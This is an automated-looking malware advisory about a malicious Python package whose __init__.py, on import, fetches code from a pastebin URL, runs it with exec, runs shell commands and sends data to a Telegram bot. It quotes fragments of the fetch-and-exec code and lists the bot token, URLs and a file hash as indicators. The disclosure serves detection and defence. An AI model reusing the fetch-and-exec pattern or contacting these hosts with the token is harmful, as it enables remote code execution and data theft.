GCVE-110-OSM-2026-8711

Malicious package detected. Behaviors: data exfiltration, code execution, network activity. ENTRY telebot_bot_run/__init__.py (module-import: 323) DESTINATION - telegram-bot: 8951969280:AAG1MDun2RPd05GfWnpxNhn32BhU3akgIXE (primary, plaintext) in telebot_bot_run/__init__.py - paste-site: https://pastebin.com/raw/FTLjhBMX (plaintext) in telebot_bot_run/__init__.py EXFIL - Fetch and Eval/Exec in telebot_bot_run/__init__.py: "requests.get('https://pastebin.com/raw/FTLjhBMX', timeout=10) code = response.te..." - Payload Download from Paste Service in telebot_bot_run/__init__.py: "pastebin.com/raw/" - Network Request in telebot_bot_run/__init__.py: "requests.get(" ADDITIONAL FINDINGS - Dynamic Code Execution in telebot_bot_run/__init__.py: "exec(code)" - Shell Command Execution in telebot_bot_run/__init__.py: "subprocess.run(" PAYLOAD FILES telebot_bot_run/__init__.py INDICATORS (IOCs) - urls: https://t.me/Ejejwiyauwhwbot - payloadFileHash: 122bd75c55a1be330e38a1ea4c1d934d2a40aad4365d734c2b11d10c0b801cf1 TELEGRAM THREAT-ACTOR INTELLIGENCE (live API enrichment): Bot @Ejejwiyauwhwbot (id 8951969280)